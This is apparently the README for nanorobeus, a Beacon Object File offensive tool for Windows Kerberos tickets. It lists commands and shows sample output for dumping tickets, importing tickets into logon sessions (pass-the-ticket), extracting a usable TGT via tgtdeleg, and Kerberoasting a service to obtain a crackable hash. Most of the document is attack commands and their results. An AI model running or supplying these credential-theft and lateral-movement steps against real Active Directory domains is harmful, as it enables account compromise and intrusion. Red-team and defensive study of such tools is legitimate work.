COFF file (BOF) for managing Kerberos tickets.
luid - get current logon ID
sessions [/luid:<0x0>| /all] - get logon sessions
klist [/luid:<0x0> | /all] - list Kerberos tickets
dump [/luid:<0x0> | /all] - dump Kerberos tickets
ptt /ticket:<base64> [/luid:<0x0>] - import Kerberos ticket into a logon session
purge [/luid:<0x0>] - purge Kerberos tickets
tgtdeleg /spn:<spn> - retrieve a usable TGT for the current user
kerberoast /spn:<spn> - perform Kerberoasting against specified SPN
Get current logon ID.
=> nanorobeus64 luid
[+] Current LogonId: 0:0x19ea88e
Get detailed information about the current logon session.
=> nanorobeus64 sessions
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
List Kerberos tickets for the current logon session. When elevated, use /all to list tickets from all of the sessions or /luid:0x0 to list tickets in a specified logon session.
=> nanorobeus64 klist
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
...(snip)...
Dump tickets from the current logon session. When elevated, use /all to dump tickets from all of the sessions or /luid:0x0 to dump tickets from a specified logon session.
=> nanorobeus64 dump
UserName : User
Domain : FORTRESS
LogonId : 0:0x19ea88e
Session : 2
UserSID : S-1-5-21-1768674056-2740991423-664180583-1105
Authentication package : Kerberos
LogonType : Interactive
LogonTime (UTC) : 2/7/2022 19:22:43
LogonServer : SERVER
LogonServerDNSDomain : FORTRESS.LOCAL
UserPrincipalName : user@fortress.local
[*] Cached tickets: (6)
[0]
Client name : User @ FORTRESS.LOCAL
Server name : krbtgt/FORTRESS.LOCAL @ FORTRESS.LOCAL
Start time : 2/7/2022 19:22:44 (UTC)
End time : 3/7/2022 5:22:43 (UTC)
Renew time : 9/7/2022 19:22:43 (UTC)
Flags : forwardable, forwarded, renewable, pre_authent, name_canonicalize (0x60a10000)
Encryption type : AES256_CTS_HMAC_SHA1
Ticket : doIFFjCCBRKgAwIBBaEDAgEWooIEGTCCBBVhggQRMIIEDaADAg...(snip)...
Import a ticket into the current logon session. When elevated, use /luid:0x0 to import the ticket into a specified logon session.
=> make_token network fortress.local test pass
=> nanorobeus64 ptt /ticket:doIFqjCCBaagAwIB...snip...
[+] Ticket successfully imported.
Purge all Kerberos tickets from the current logon session. When elevated, use /luid:0x0 to purge the tickets from a specified logon session.
=> nanorobeus64 purge
[+] Successfully purged tickets.
Retrieve a usable TGT for the current user.
=> nanorobeus64 tgtdeleg /spn:cifs/server.fortress.local
[*] Found the AP-REQ delegation ticket in the GSS-API output
[*] Authenticator etype: AES256_CTS_HMAC_SHA1
[*] Successfully extracted the service ticket session key
[*] Successfully decrypted authenticator
[+] Successfully extracted TGT: doIFeDCCBXSgAwIBBaEDAgEWooIEcjC...(snip)...
Perform Kerberoasting by specifying SPN:
=> nanorobeus64 kerberoast /spn:HTTP/server.fortress.local
[*] Target SPN: HTTP/server.fortress.local
[+] Hash: $krb5tgs$23$*$FORTRESS.LOCAL$HTTP/server.fortress.local*$ac5e2f4d28fd377...(snip)...
- Rubeus - https://github.com/GhostPack/Rubeus
- mimikatz - https://github.com/gentilkiwi/mimikatz
- kekeo - https://github.com/gentilkiwi/kekeo